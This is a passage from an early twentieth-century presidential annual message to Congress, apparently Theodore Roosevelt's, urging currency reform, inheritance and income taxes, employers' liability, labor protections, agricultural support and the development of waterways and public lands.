cooperation between the National\nand State governments in administering these laws.In my Message to the Congress a year ago I spoke as follows of the\ncurrency:\"I especially call your attention to the condition of our currency\nlaws. The national-bank act has ably served a great purpose in aiding\nthe enormous business development of the country, and within ten years\nthere has been an increase in circulation per capita from $21.41 to\n$33.08. For several years evidence has been accumulating that\nadditional legislation is needed. The recurrence of each crop season\nemphasizes the defects of the present laws. There must soon be a\nrevision of them, because to leave them as they are means to incur\nliability of business disaster. Since your body adjourned there has\nbeen a fluctuation in the interest on call money from 2 per cent to 30\npercent, and the fluctuation was even greater during the preceding six\nmonths. The Secretary of the Treasury had to step in and by wise action\nput a stop to the most violent period of oscillation. Even worse than\nsuch fluctuation is the advance in commercial rates and the uncertainty\nfelt in the sufficiency of credit even at high rates. All commercial\ninterests suffer during each crop period. Excessive rates for call\nmoney in New York attract money from the interior banks into the\nspeculative field. This depletes the fund that would otherwise be\navailable for commercial uses, and commercial borrowers are forced to\npay abnormal rates, so that each fall a tax, in the shape of increased\ninterest charges, is placed on the whole commerce of the country.\"The mere statement of these facts shows that our present system is\nseriously defective. There is need of a change. Unfortunately, however,\nmany of the proposed changes must be ruled from consideration because\nthey are complicated, are not easy of comprehension, and tend to\ndisturb existing rights and interests. We must also rule out any plan\nwhich would materially impair the value of the United States 2 per cent\nbonds now pledged to secure circulation, the issue of which was made\nunder conditions peculiarly creditable to the Treasury. I do not press\nany especial plan. Various plans have recently been proposed by expert\ncommittees of bankers. Among the plans which are possibly feasible and\nwhich certainly should receive your consideration is that repeatedly\nbrought to your attention by the present Secretary of the Treasury, the\nessential features of which have been approved by many prominent\nbankers and business men. According to this plan national banks should\nbe permitted to issue a specified proportion of their capital in notes\nof a given kind, the issue to be taxed at so high a rate as to drive\nthe notes back when not wanted in legitimate trade. This plan would not\npermit the issue of currency to give banks additional profits, but to\nmeet the emergency presented by times of stringency.\"I do not say that this is the right system. I only advance it to\nemphasize my belief that there is need for the adoption of some system\nwhich shall be automatic and open to all sound banks, so as to avoid\nall possibility of discrimination and favoritism. Such a plan would\ntend to prevent the spasms of high money and speculation which now\nobtain in the New York market; for at present there is too much\ncurrency at certain seasons of the year, and its accumulation at New\nYork tempts bankers to lend it at low rates for speculative purposes;\nwhereas at other times when the crops are being moved there is urgent\nneed for a large but temporary increase in the currency supply. It must\nnever be forgotten that this question concerns business men generally\nquite as much as bankers; especially is this true of stockmen, farmers,\nand business men in the West; for at present at certain seasons of the\nyear the difference in interest rates between the East and the West is\nfrom 6 to 10 per cent, whereas in Canada the corresponding difference\nis but 2 per cent. Any plan must, of course, guard the interests of\nwestern and southern bankers as carefully as it guards the interests of\nNew York or Chicago bankers, and must be drawn from the standpoints of\nthe farmer and the merchant no less than from the standpoints of the\ncity banker and the country banker.\"I again urge on the Congress the need of immediate attention to this\nmatter. We need a greater elasticity in our currency; provided, of\ncourse, that we recognize the even greater need of a safe and secure\ncurrency. There must always be the most rigid examination by the\nNational authorities. Provision should be made for an emergency\ncurrency. The emergency issue should, of course, be made with an\neffective guaranty, and upon conditions carefully prescribed by the\nGovernment. Such emergency issue must be based on adequate securities\napproved by the Government, and must be issued under a heavy tax. This\nwould permit currency being issued when the demand for it was urgent,\nwhile securing its requirement as the demand fell off. It is worth\ninvestigating to determine whether officers and directors of national\nbanks should ever be allowed to loan to themselves. Trust companies\nshould be subject to the same supervision as banks; legislation to this\neffect should be enacted for the District of Columbia and the\nTerritories.Yet we must also remember that even the wisest legislation on the\nsubject can only accomplish a certain amount. No legislation can by any\npossibility guarantee the business community against the results of\nspeculative folly any more than it can guarantee an individual against\nthe results of his extravagance. When an individual mortgages his house\nto buy an automobile he invites disaster; and when wealthy men, or men\nwho pose as such, or are unscrupulously or foolishly eager to become\nsuch, indulge in reckless speculation--especially if it is accompanied\nby dishonesty--they jeopardize not only their own future but the future\nof all their innocent fellow-citizens, for the expose the whole\nbusiness community to panic and distress.The income account of the Nation is in a most satisfactory condition.\nFor the six fiscal years ending with the 1st of July last, the total\nexpenditures and revenues of the National Government, exclusive of the\npostal revenues and expenditures, were, in round numbers, revenues,\n$3,465,000,0000, and expenditures, $3,275,000,000. The net excess of\nincome over expenditures, including in the latter the fifty millions\nexpended for the Panama Canal, was one hundred and ninety million\ndollars for the six years, an average of about thirty-one millions a\nyear. This represents an approximation between income and outgo which\nit would be hard to improve. The satisfactory working of the present\ntariff law has been chiefly responsible for this excellent showing.\nNevertheless, there is an evident and constantly growing feeling among\nour people that the time is rapidly approaching when our system of\nrevenue legislation must be revised.This country is definitely committed to the protective system and any\neffort to uproot it could not but cause widespread industrial disaster.\nIn other words, the principle of the present tariff law could not with\nwisdom be changed. But in a country of such phenomenal growth as ours\nit is probably well that every dozen years or so the tariff laws should\nbe carefully scrutinized so as to see that no excessive or improper\nbenefits are conferred thereby, that proper revenue is provided, and\nthat our foreign trade is encouraged. There must always be as a minimum\na tariff which will not only allow for the collection of an ample\nrevenue but which will at least make good the difference in cost of\nproduction here and abroad; that is, the difference in the labor cost\nhere and abroad, for the well-being of the wage-worker must ever be a\ncardinal point of American policy. The question should be approached\npurely from a business standpoint; both the time and the manner of the\nchange being such as to arouse the minimum of agitation and disturbance\nin the business world, and to give the least play for selfish and\nfactional motives. The sole consideration should be to see that the sum\ntotal of changes represents the public good. This means that the\nsubject can not with wisdom be dealt with in the year preceding a\nPresidential election, because as a matter of fact experience has\nconclusively shown that at such a time it is impossible to get men to\ntreat it from the standpoint of the public good. In my judgment the\nwise time to deal with the matter is immediately after such election.When our tax laws are revised the question of an income tax and an\ninheritance tax should receive the careful attention of our\nlegislators. In my judgment both of these taxes should be part of our\nsystem of Federal taxation. I speak diffidently about the income tax\nbecause one scheme for an income tax was declared unconstitutional by\nthe Supreme Court; while in addition it is a difficult tax to\nadminister in its practical working, and great care would have to be\nexercised to see that it was not evaded by the very men whom it was\nmost desirable to have taxed, for if so evaded it would, of course, be\nworse than no tax at all; as the least desirable of all taxes is the\ntax which bears heavily upon the honest as compared with the dishonest\nman. Nevertheless, a graduated income tax of the proper type would be a\ndesirable feature of Federal taxation, and it is to be hoped that one\nmay be devised which the Supreme Court will declare constitutional. The\ninheritance tax, however, is both a far better method of taxation, and\nfar more important for the purpose of having the fortunes of the\ncountry bear in proportion to their increase in size a corresponding\nincrease and burden of taxation. The Government has the absolute right\nto decide as to the terms upon which a man shall receive a bequest or\ndevise from another, and this point in the devolution of property is\nespecially appropriate for the imposition of a tax. Laws imposing such\ntaxes have repeatedly been placed upon the National statute books and\nas repeatedly declared constitutional by the courts; and these laws\ncontained the progressive principle, that is, after a certain amount is\nreached the bequest or gift, in life or death, is increasingly burdened\nand the rate of taxation is increased in proportion to the remoteness\nof blood of the man receiving the bequest. These principles are\nrecognized already in the leading civilized nations of the world. In\nGreat Britain all the estates worth $5,000 or less are practically\nexempt from death duties, while the increase is such that when an\nestate exceeds five millions of dollars in value and passes to a\ndistant kinsman or stranger in blood the Government receives all told\nan amount equivalent to nearly a fifth of the whole estate. In France\nso much of an inheritance as exceeds $10,000,000 pays over a fifth to\nthe State if it passes to a distant relative. The German law is\nespecially interesting to us because it makes the inheritance tax an\nimperial measure while allotting to the individual States of the Empire\na portion of the proceeds and permitting them to impose taxes in\naddition to those imposed by the Imperial Government. Small\ninheritances are exempt, but the tax is so sharply progressive that\nwhen the inheritance is still not very large, provided it is not an\nagricultural or a forest land, it is taxed at the rate of 25 per cent\nif it goes to distant relatives. There is no reason why in the United\nStates the National Government should not impose inheritance taxes in\naddition to those imposed by the States, and when we last had an\ninheritance tax about one-half of the States levied such taxes\nconcurrently with the National Government, making a combined maximum\nrate, in some cases as high as 25 per cent. The French law has one\nfeature which is to be heartily commended. The progressive principle is\nso applied that each higher rate is imposed only on the excess above\nthe amount subject to the next lower rate; so that each increase of\nrate will apply only to a certain amount above a certain maximum. The\ntax should if possible be made to bear more heavily upon those residing\nwithout the country than within it. A heavy progressive tax upon a very\nlarge fortune is in no way such a tax upon thrift or industry as a like\nwould be on a small fortune. No advantage comes either to the country\nas a whole or to the individuals inheriting the money by permitting the\ntransmission in their entirety of the enormous fortunes which would be\naffected by such a tax; and as an incident to its function of revenue\nraising, such a tax would help to preserve a measurable equality of\nopportunity for the people of the generations growing to manhood. We\nhave not the slightest sympathy with that socialistic idea which would\ntry to put laziness, thriftlessness and inefficiency on a par with\nindustry, thrift and efficiency; which would strive to break up not\nmerely private property, but what is far more important, the home, the\nchief prop upon which our whole civilization stands. Such a theory, if\never adopted, would mean the ruin of the entire country--a ruin which\nwould bear heaviest upon the weakest, upon those least able to shift\nfor themselves. But proposals for legislation such as this herein\nadvocated are directly opposed to this class of socialistic theories.\nOur aim is to recognize what Lincoln pointed out: The fact that there\nare some respects in which men are obviously not equal; but also to\ninsist that there should be an equality of self-respect and of mutual\nrespect, an equality of rights before the law, and at least an\napproximate equality in the conditions under which each man obtains the\nchance to show the stuff that is in him when compared to his fellows.A few years ago there was loud complaint that the law could not be\ninvoked against wealthy offenders. There is no such complaint now. The\ncourse of the Department of Justice during the last few years has been\nsuch as to make it evident that no man stands above the law, that no\ncorporation is so wealthy that it can not be held to account. The\nDepartment of Justice has been as prompt to proceed against the\nwealthiest malefactor whose crime was one of greed and cunning as to\nproceed against the agitator who incites to brutal violence. Everything\nthat can be done under the existing law, and with the existing state of\npublic opinion, which so profoundly influences both the courts and\njuries, has been done. But the laws themselves need strengthening in\nmore than one important point; they should be made more definite, so\nthat no honest man can be led unwittingly to break them, and so that\nthe real wrongdoer can be readily punished.Moreover, there must be the public opinion back of the laws or the laws\nthemselves will be of no avail. At present, while the average juryman\nundoubtedly wishes to see trusts broken up, and is quite ready to fine\nthe corporation itself, he is very reluctant to find the facts proven\nbeyond a reasonable doubt when it comes to sending to jail a member of\nthe business community for indulging in practices which are profoundly\nunhealthy, but which, unfortunately, the business community has grown\nto recognize as well-nigh normal. Both the present condition of the law\nand the present temper of juries render it a task of extreme difficulty\nto get at the real wrongdoer in any such case, especially by\nimprisonment. Yet it is from every standpoint far preferable to punish\nthe prime offender by imprisonment rather than to fine the corporation,\nwith the attendant damage to stockholders.The two great evils in the execution of our criminal laws to-day are\nsentimentality and technicality. For the latter the remedy must come\nfrom the hands of the legislatures, the courts, and the lawyers. The\nother must depend for its cure upon the gradual growth of a sound\npublic opinion which shall insist that regard for the law and the\ndemands of reason shall control all other influences and emotions in\nthe jury box. Both of these evils must be removed or public discontent\nwith the criminal law will continue.Instances of abuse in the granting of injunctions in labor disputes\ncontinue to occur, and the resentment in the minds of those who feel\nthat their rights are being invaded and their liberty of action and of\nspeech unwarrantably restrained continues likewise to grow. Much of the\nattack on the use of the process of injunction is wholly without\nwarrant; but I am constrained to express the belief that for some of it\nthere is warrant. This question is becoming more and more one of prime\nimportance, and unless the courts will themselves deal with it in\neffective manner, it is certain ultimately to demand some form of\nlegislative action. It would be most unfortunate for our social welfare\nif we should permit many honest and law-abiding citizens to feel that\nthey had just cause for regarding our courts with hostility. I\nearnestly commend to the attention of the Congress this matter, so that\nsome way may be devised which will limit the abuse of injunctions and\nprotect those rights which from time to time it unwarrantably invades.\nMoreover, discontent is often expressed with the use of the process of\ninjunction by the courts, not only in labor disputes, but where State\nlaws are concerned. I refrain from discussion of this question as I am\ninformed that it will soon receive the consideration of the Supreme\nCourt.The Federal courts must of course decide ultimately what are the\nrespective spheres of State and Nation in connection with any law,\nState or National, and they must decide definitely and finally in\nmatters affecting individual citizens, not only as to the rights and\nwrongs of labor but as to the rights and wrongs of capital; and the\nNational Government must always see that the decision of the court is\nput into effect. The process of injunction is an essential adjunct of\nthe court's doing its work well; and as preventive measures are always\nbetter than remedial, the wise use of this process is from every\nstandpoint commendable. But where it is recklessly or unnecessarily\nused, the abuse should he censured, above all by the very men who are\nproperly anxious to prevent any effort to shear the courts of this\nnecessary power. The court's decision must be final; the protest is\nonly against the conduct of individual judges in needlessly\nanticipating such final decision, or in the tyrannical use of what is\nnominally a temporary injunction to accomplish what is in fact a\npermanent decision.The loss of life and limb from railroad accidents in this country has\nbecome appalling. It is a subject of which the National Government\nshould take supervision. It might be well to begin by providing for a\nFederal inspection of interstate railroads somewhat along the lines of\nFederal inspection of steamboats, although not going so far; perhaps at\nfirst all that it would be necessary to have would be some officer\nwhose duty would be to investigate all accidents on interstate\nrailroads and report in detail the causes thereof. Such an officer\nshould make it his business to get into close touch with railroad\noperating men so as to become thoroughly familiar with every side of\nthe question, the idea being to work along the lines of the present\nsteamboat inspection law.The National Government should be a model employer. It should demand\nthe highest quality of service from each of its employees and it should\ncare for all of them properly in return. Congress should adopt\nlegislation providing limited but definite compensation for accidents\nto all workmen within the scope of the Federal power, including\nemployees of navy yards and arsenals. In other words, a model\nemployers' liability act, far-reaching and thoroughgoing, should be\nenacted which should apply to all positions, public and private, over\nwhich the National Government has jurisdiction. The number of accidents\nto wage-workers, including those that are preventable and those that\nare not, has become appalling in the mechanical, manufacturing, and\ntransportation operations of the day. It works grim hardship to the\nordinary wage-worker and his family to have the effect of such an\naccident fall solely upon him; and, on the other hand, there are whole\nclasses of attorneys who exist only by inciting men who may or may not\nhave been wronged to undertake suits for negligence. As a matter of\nfact a suit for negligence is generally an inadequate remedy for the\nperson injured, while it often causes altogether disproportionate\nannoyance to the employer. The law should be made such that the payment\nfor accidents by the employer would be automatic instead of being a\nmatter for lawsuits. Workmen should receive certain and definite\ncompensation for all accidents in industry irrespective of negligence.\nThe employer is the agent of the public and on his own responsibility\nand for his own profit he serves the public. When he starts in motion\nagencies which create risks for others, he should take all the ordinary\nand extraordinary risks involved; and the risk he thus at the moment\nassumes will ultimately be assumed, as it ought to be, by the general\npublic. Only in this way can the shock of the accident be diffused,\ninstead of falling upon the man or woman least able to bear it, as is\nnow the case. The community at large should share the burdens as well\nas the benefits of industry. By the proposed law, employers would gain\na desirable certainty of obligation and get rid of litigation to\ndetermine it, while the workman and his family would be relieved from a\ncrushing load. With such a policy would come increased care, and\naccidents would be reduced in number. The National laws providing for\nemployers' liability on railroads engaged in interstate commerce and\nfor safety appliances, as well as for diminishing the hours any\nemployee of a railroad should be permitted to work, should all be\nstrengthened wherever in actual practice they have shown weakness; they\nshould be kept on the statute books in thoroughgoing form.The constitutionality of the employers' liability act passed by the\npreceding Congress has been carried before the courts. In two\njurisdictions the law has been declared unconstitutional, and in three\njurisdictions its constitutionality has been affirmed. The question has\nbeen carried to the Supreme Court, the case has been heard by that\ntribunal, and a decision is expected at an early date. In the event\nthat the court should affirm the constitutionality of the act, I urge\nfurther legislation along the lines advocated in my Message to the\npreceding Congress. The practice of putting the entire burden of loss\nto life or limb upon the victim or the victim's family is a form of\nsocial injustice in which the United States stands in unenviable\nprominence. In both our Federal and State legislation we have, with few\nexceptions, scarcely gone farther than the repeal of the fellow-servant\nprinciple of the old law of liability, and in some of our States even\nthis slight modification of a completely outgrown principle has not yet\nbeen secured. The legislation of the rest of the industrial world\nstands out in striking contrast to our backwardness in this respect.\nSince 1895 practically every country of Europe, together with Great\nBritain, New Zealand, Australia, British Columbia, and the Cape of Good\nHope has enacted legislation embodying in one form or another the\ncomplete recognition of the principle which places upon the employer\nthe entire trade risk in the various lines of industry. I urge upon the\nCongress the enactment of a law which will at the same time bring\nFederal legislation up to the standard already established by all the\nEuropean countries, and which will serve as a stimulus to the various\nStates to perfect their legislation in this regard.The Congress should consider the extension of the eight-hour law. The\nconstitutionality of the present law has recently been called into\nquestion, and the Supreme Court has decided that the existing\nlegislation is unquestionably within the powers of the Congress. The\nprinciple of the eight-hour day should as rapidly and as far as\npracticable be extended to the entire work carried on by the\nGovernment; and the present law should be amended to embrace contracts\non those public works which the present wording of the act has been\nconstrued to exclude. The general introduction of the eight-hour day\nshould be the goal toward which we should steadily tend, and the\nGovernment should set the example in this respect.Strikes and lockouts, with their attendant loss and suffering, continue\nto increase. For the five years ending December 31, 1905, the number of\nstrikes was greater than those in any previous ten years and was double\nthe number in the preceding five years. These figures indicate the\nincreasing need of providing some machinery to deal with this class of\ndisturbance in the interest alike of the employer, the employee, and\nthe general public. I renew my previous recommendation that the\nCongress favorably consider the matter of creating the machinery for\ncompulsory investigation of such industrial controversies as are of\nsufficient magnitude and of sufficient concern to the people of the\ncountry as a whole to warrant the Federal Government in taking action.The need for some provision for such investigation was forcibly\nillustrated during the past summer. A strike of telegraph operators\nseriously interfered with telegraphic communication, causing great\ndamage to business interests and serious inconvenience to the general\npublic. Appeals were made to me from many parts of the country, from\ncity councils, from boards of trade, from chambers of commerce, and\nfrom labor organizations, urging that steps be taken to terminate the\nstrike. Everything that could with any propriety be done by a\nrepresentative of the Government was done, without avail, and for weeks\nthe public stood by and suffered without recourse of any kind. Had the\nmachinery existed and had there been authority for compulsory\ninvestigation of the dispute, the public would have been placed in\npossession of the merits of the controversy, and public opinion would\nprobably have brought about a prompt adjustment.Each successive step creating machinery for the adjustment of labor\ndifficulties must be taken with caution, but we should endeavor to make\nprogress in this direction.The provisions of the act of 1898 creating the chairman of the\nInterstate Commerce Commission and the Commissioner of Labor a board of\nmediation in controversies between interstate railroads and their\nemployees has, for the first time, been subjected to serious tests\nwithin the past year, and the wisdom of the experiment has been fully\ndemonstrated. The creation of a board for compulsory investigation in\ncases where mediation fails and arbitration is rejected is the next\nlogical step in a progressive program.It is certain that for some time to come there will be a constant\nincrease absolutely, and perhaps relatively, of those among our\ncitizens who dwell in cities or towns of some size and who work for\nwages. This means that there will be an ever-increasing need to\nconsider the problems inseparable from a great industrial civilization.\nWhere an immense and complex business, especially in those branches\nrelating to manufacture and transportation, is transacted by a large\nnumber of capitalists who employ a very much larger number of\nwage-earners, the former tend more and more to combine into\ncorporations and the latter into unions. The relations of the\ncapitalist and wage-worker to one another, and of each to the general\npublic, are not always easy to adjust; and to put them and keep them on\na satisfactory basis is one of the most important and one of the most\ndelicate tasks before our whole civilization. Much of the work for the\naccomplishment of this end must be done by the individuals concerned\nthemselves, whether singly or in combination; and the one fundamental\nfact that must never be lost track of is that the character of the\naverage man, whether he be a man of means or a man who works with his\nhands, is the most important factor in solving the problem aright. But\nit is almost equally important to remember that without good laws it is\nalso impossible to reach the proper solution. It is idle to hold that\nwithout good laws evils such as child labor, as the over-working of\nwomen, as the failure to protect employees from loss of life or limb,\ncan be effectively reached, any more than the evils of rebates and\nstock-watering can be reached without good laws. To fail to stop these\npractices by legislation means to force honest men into them, because\notherwise the dishonest who surely will take advantage of them will\nhave everything their own way. If the States will correct these evils,\nwell and good; but the Nation must stand ready to aid them.No question growing out of our rapid and complex industrial development\nis more important than that of the employment of women and children.\nThe presence of women in industry reacts with extreme directness upon\nthe character of the home and upon family life, and the conditions\nsurrounding the employment of children bear a vital relation to our\nfuture citizenship. Our legislation in those areas under the control of\nthe Congress is very much behind the legislation of our more\nprogressive States. A thorough and comprehensive measure should be\nadopted at this session of the Congress relating to the employment of\nwomen and children in the District of Columbia and the Territories. The\ninvestigation into the condition of women and children wage-earners\nrecently authorized and directed by the Congress is now being carried\non in the various States, and I recommend that the appropriation made\nlast year for beginning this work be renewed, in order that we may have\nthe thorough and comprehensive investigation which the subject demands.\nThe National Government has as an ultimate resort for control of child\nlabor the use of the interstate commerce clause to prevent the products\nof child labor from entering into interstate commerce. But before using\nthis it ought certainly to enact model laws on the subject for the\nTerritories under its own immediate control.There is one fundamental proposition which can be laid down as regards\nall these matters, namely: While honesty by itself will not solve the\nproblem, yet the insistence upon honesty--not merely technical honesty,\nbut honesty in purpose and spirit--is an essential element in arriving\nat a right conclusion. Vice in its cruder and more archaic forms shocks\neverybody; but there is very urgent need that public opinion should be\njust as severe in condemnation of the vice which hides itself behind\nclass or professional loyalty, or which denies that it is vice if it\ncan escape conviction in the courts. The public and the representatives\nof the public, the high officials, whether on the bench or in executive\nor legislative positions, need to remember that often the most\ndangerous criminals, so far as the life of the Nation is concerned, are\nnot those who commit the crimes known to and condemned by the popular\nconscience for centuries, but those who commit crimes only rendered\npossible by the complex conditions of our modern industrial life. It\nmakes not a particle of difference whether these crimes are committed\nby a capitalist or by a laborer, by a leading banker or manufacturer or\nrailroad man, or by a leading representative of a labor union.\nSwindling in stocks, corrupting legislatures, making fortunes by the\ninflation of securities, by wrecking railroads, by destroying\ncompetitors through rebates--these forms of wrongdoing in the\ncapitalist, are far more infamous than any ordinary form of\nembezzlement or forgery; yet it is a matter of extreme difficulty to\nsecure the punishment of the man most guilty of them, most responsible\nfor them. The business man who condones such conduct stands on a level\nwith the labor man who deliberately supports a corrupt demagogue and\nagitator, whether head of a union or head of some municipality, because\nhe is said to have \"stood by the union.\" The members of the business\ncommunity, the educators, or clergymen, who condone and encourage the\nfirst kind of wrongdoing, are no more dangerous to the community, but\nare morally even worse, than the labor men who are guilty of the second\ntype of wrongdoing, because less is to be pardoned those who have no\nsuch excuse as is furnished either by ignorance or by dire need.  When\nthe Department of Agriculture was founded there was much sneering as to\nits usefulness. No Department of the Government, however, has more\nemphatically vindicated its usefulness, and none save the Post-Office\nDepartment comes so continually and intimately into touch with the\npeople. The two citizens whose welfare is in the aggregate most vital\nto the welfare of the Nation, and therefore to the welfare of all other\ncitizens, are the wage-worker who does manual labor and the tiller of\nthe soil, the farmer. There are, of course, kinds of labor where the\nwork must be purely mental, and there are other kinds of labor where,\nunder existing conditions, very little demand indeed is made upon the\nmind, though I am glad to say that the proportion of men engaged in\nthis kind of work is diminishing. But in any community with the solid,\nhealthy qualities which make up a really great nation the bulk of the\npeople should do work which calls for the exercise of both body and\nmind. Progress can not permanently exist in the abandonment of physical\nlabor, but in the development of physical labor, so that it shall\nrepresent more and more the work of the trained mind in the trained\nbody. Our school system is gravely defective in so far as it puts a\npremium upon mere literary training and tends therefore to train the\nboy away from the farm and the workshop. Nothing is more needed than\nthe best type of industrial school, the school for mechanical\nindustries in the city, the school for practically teaching agriculture\nin the country. The calling of the skilled tiller of the soil, the\ncalling of the skilled mechanic, should alike be recognized as\nprofessions, just as emphatically as the callings of lawyer, doctor,\nmerchant, or clerk. The schools recognize this fact and it should\nequally be recognized in popular opinion. The young man who has the\nfarsightedness and courage to recognize it and to get over the idea\nthat it makes a difference whether what he earns is called salary or\nwages, and who refuses to enter the crowded field of the so-called\nprofessions, and takes to constructive industry instead, is reasonably\nsure of an ample reward in earnings, in health, in opportunity to marry\nearly, and to establish a home with a fair amount of freedom from\nworry. It should be one of our prime objects to put both the farmer and\nthe mechanic on a higher plane of efficiency and reward, so as to\nincrease their effectiveness in the economic world, and therefore the\ndignity, the remuneration, and the power of their positions in the\nsocial world.No growth of cities, no growth of wealth, can make up for any loss in\neither the number or the character of the farming population. We of the\nUnited States should realize this above almost all other peoples. We\nbegan our existence as a nation of farmers, and in every great crisis\nof the past a peculiar dependence has had to be placed upon the farming\npopulation; and this dependence has hitherto been justified. But it can\nnot be justified in the future if agriculture is permitted to sink in\nthe scale as compared with other employments. We can not afford to lose\nthat preeminently typical American, the farmer who owns his own\nmedium-sized farm. To have his place taken by either a class of small\npeasant proprietors, or by a class of great landlords with\ntenant-farmed estates would be a veritable calamity. The growth of our\ncities is a good thing but only in so far as it does not mean a growth\nat the expense of the country farmer. We must welcome the rise of\nphysical sciences in their application to agricultural practices, and\nwe must do all we can to render country conditions more easy and\npleasant. There are forces which now tend to bring about both these\nresults, but they are, as yet, in their infancy. The National\nGovernment through the Department of Agriculture should do all it can\nby joining with the State governments and with independent associations\nof farmers to encourage the growth in the open farming country of such\ninstitutional and social movements as will meet the demand of the best\ntype of farmers, both for the improvement of their farms and for the\nbetterment of the life itself. The Department of Agriculture has in\nmany places, perhaps especially in certain districts of the South,\naccomplished an extraordinary amount by cooperating with and teaching\nthe farmers through their associations, on their own soil, how to\nincrease their income by managing their farms better than they were\nhitherto managed. The farmer must not lose his independence, his\ninitiative, his rugged self-reliance, yet he must learn to work in the\nheartiest cooperation with his fellows, exactly as the business man has\nlearned to work; and he must prepare to use to constantly better\nadvantage the knowledge that can be obtained from agricultural\ncolleges, while he must insist upon a practical curriculum in the\nschools in which his children are taught. The Department of Agriculture\nand the Department of Commerce and Labor both deal with the fundamental\nneeds of our people in the production of raw material and its\nmanufacture and distribution, and, therefore, with the welfare of those\nwho produce it in the raw state, and of those who manufacture and\ndistribute it. The Department of Commerce and Labor has but recently\nbeen founded but has already justified its existence; while the\nDepartment of Agriculture yields to no other in the Government in the\npractical benefits which it produces in proportion to the public money\nexpended. It must continue in the future to deal with growing crops as\nit has dealt in the past, but it must still further extend its field of\nusefulness hereafter by dealing with live men, through a far-reaching\nstudy and treatment of the problems of farm life alike from the\nindustrial and economic and social standpoint. Farmers must cooperate\nwith one another and with the Government, and the Government can best\ngive its aid through associations of farmers, so as to deliver to the\nfarmer the large body of agricultural knowledge which has been\naccumulated by the National and State governments and by the\nagricultural colleges and schools.The grain producing industry of the country, one of the most important\nin the United States, deserves special consideration at the hands of\nthe Congress. Our grain is sold almost exclusively by grades. To secure\nsatisfactory results in our home markets and to facilitate our trade\nabroad, these grades should approximate the highest degree of\nuniformity and certainty. The present diverse methods of inspection and\ngrading throughout the country under different laws and boards, result\nin confusion and lack of uniformity, destroying that confidence which\nis necessary for healthful trade. Complaints against the present\nmethods have continued for years and they are growing in volume and\nintensity, not only in this country but abroad. I therefore suggest to\nthe Congress the advisability of a National system of inspection and\ngrading of grain entering into interstate and foreign commerce as a\nremedy for the present evils.The conservation of our natural resources and their proper use\nconstitute the fundamental problem which underlies almost every other\nproblem of our National life. We must maintain for our civilization the\nadequate material basis without which that civilization can not exist.\nWe must show foresight, we must look ahead. As a nation we not only\nenjoy a wonderful measure of present prosperity but if this prosperity\nis used aright it is an earnest of future success such as no other\nnation will have. The reward of foresight for this Nation is great and\neasily foretold. But there must be the look ahead, there must be a\nrealization of the fact that to waste, to destroy, our natural\nresources, to skin and exhaust the land instead of using it so as to\nincrease its usefulness, will result in undermining in the days of our\nchildren the very prosperity which we ought by right to hand down to\nthem amplified and developed. For the last few years, through several\nagencies, the Government has been endeavoring to get our people to look\nahead and to substitute a planned and orderly development of our\nresources in place of a haphazard striving for immediate profit. Our\ngreat river systems should be developed as National water highways, the\nMississippi, with its tributaries, standing first in importance, and\nthe Columbia second, although there are many others of importance on\nthe Pacific, the Atlantic and the Gulf slopes. The National Government\nshould undertake this work, and I hope a beginning will be made in the\npresent Congress; and the greatest of all our rivers, the Mississippi,\nshould receive especial attention. From the Great Lakes to the mouth of\nthe Mississippi there should be a deep waterway, with deep waterways\nleading from it to the East and the West. Such a waterway would\npractically mean the extension of our coast line into the very heart of\nour country. It would be of incalculable benefit to our people. If\nbegun at once it can be carried through in time appreciably to relieve\nthe congestion of our great freight-carrying lines of railroads. The\nwork should be systematically and continuously carried forward in\naccordance with some well-conceived plan. The main streams should be\nimproved to the highest point of efficiency before the improvement of\nthe branches is attempted; and the work should be kept free from every\nfaint of recklessness or jobbery. The inland waterways which lie just\nback of the whole eastern and southern coasts should likewise be\ndeveloped. Moreover, the development of our waterways involves many\nother important water problems, all of which should be considered as\npart of the same general scheme. The Government dams should be used to\nproduce hundreds of thousands of horsepower as an incident to improving\nnavigation; for the annual value of the unused water-power of the\nUnited States perhaps exceeds the annual value of the products of all\nour mines. As an incident to creating the deep waterways down the\nMississippi, the Government should build along its whole lower length\nlevees which taken together with the control of the headwaters, will at\nonce and forever put a complete stop to all threat of floods in the\nimmensely fertile Delta region. The territory lying adjacent to the\nMississippi along its lower course will thereby become one of the most\nprosperous and populous, as it already is one of the most fertile,\nfarming regions in all the world. I have appointed an Inland Waterways\nCommission to study and outline a comprehensive scheme of development\nalong all the lines indicated. Later I shall lay its report before the\nCongress.Irrigation should be far more extensively developed than at present,\nnot only in the States of the Great Plains and the Rocky Mountains, but\nin many others, as, for instance, in large portions of the South\nAtlantic and Gulf States, where it should go hand in hand with the\nreclamation of swamp land. The Federal Government should seriously\ndevote itself to this task, realizing that utilization of waterways and\nwater-power, forestry, irrigation, and the reclamation of lands\nthreatened with overflow, are all interdependent parts of the same\nproblem. The work of the Reclamation Service in developing the larger\nopportunities of the western half of our country for irrigation is more\nimportant than almost any other movement. The constant purpose of the\nGovernment in connection with the Reclamation Service has been to use\nthe water resources of the public lands for the ultimate greatest good\nof the greatest number; in other words, to put upon the land permanent\nhome-makers, to use and develop it for themselves and for their\nchildren and children's children. There has been, of course, opposition\nto this work; opposition from some interested men who desire to exhaust\nthe land for their own immediate profit without regard to the welfare\nof the next generation, and opposition from honest and well-meaning men\nwho did not fully understand the subject or who did not look far enough\nahead. This opposition is, I think, dying away, and our people are\nunderstanding that it would be utterly wrong to allow a few individuals\nto exhaust for their own temporary personal profit the resources which\nought to be developed through use so as to be conserved for the\npermanent common advantage of the people as a whole.The effort of the Government to deal with the public land has been\nbased upon the same principle as that of the Reclamation Service. The\nland law system which was designed to meet the needs of the fertile and\nwell-watered regions of the Middle West has largely broken down when\napplied to the dryer regions of the Great Plains, the mountains, and\nmuch of the Pacific slope, where a farm of 160 acres is inadequate for\nself-support. In these regions the system lent itself to fraud, and\nmuch land passed out of the hands of the Government without passing\ninto the hands of the home-maker. The Department of the Interior and\nthe Department of Justice joined in prosecuting the offenders against\nthe law; and they have accomplished much, while where the\nadministration of the law has been defective it has been changed. But\nthe laws themselves are defective. Three years ago a public lands\ncommission was appointed to scrutinize the law, and defects, and\nrecommend a remedy. Their examination specifically showed the existence\nof great fraud upon the public domain, and their recommendations for\nchanges in the law were made with the design of conserving the natural\nresources of every part of the public lands by putting it to its best\nuse. Especial attention was called to the prevention of settlement by\nthe passage of great areas of public land into the hands of a few men,\nand to the enormous waste caused by unrestricted grazing upon the open\nrange. The recommendations of the Public Lands Commission are sound,\nfor they are especially in the interest of the actual homemaker; and\nwhere the small home-maker can not at present utilize the land they\nprovide that the Government shall keep control of it so that it may not\nbe monopolized by a few men. The 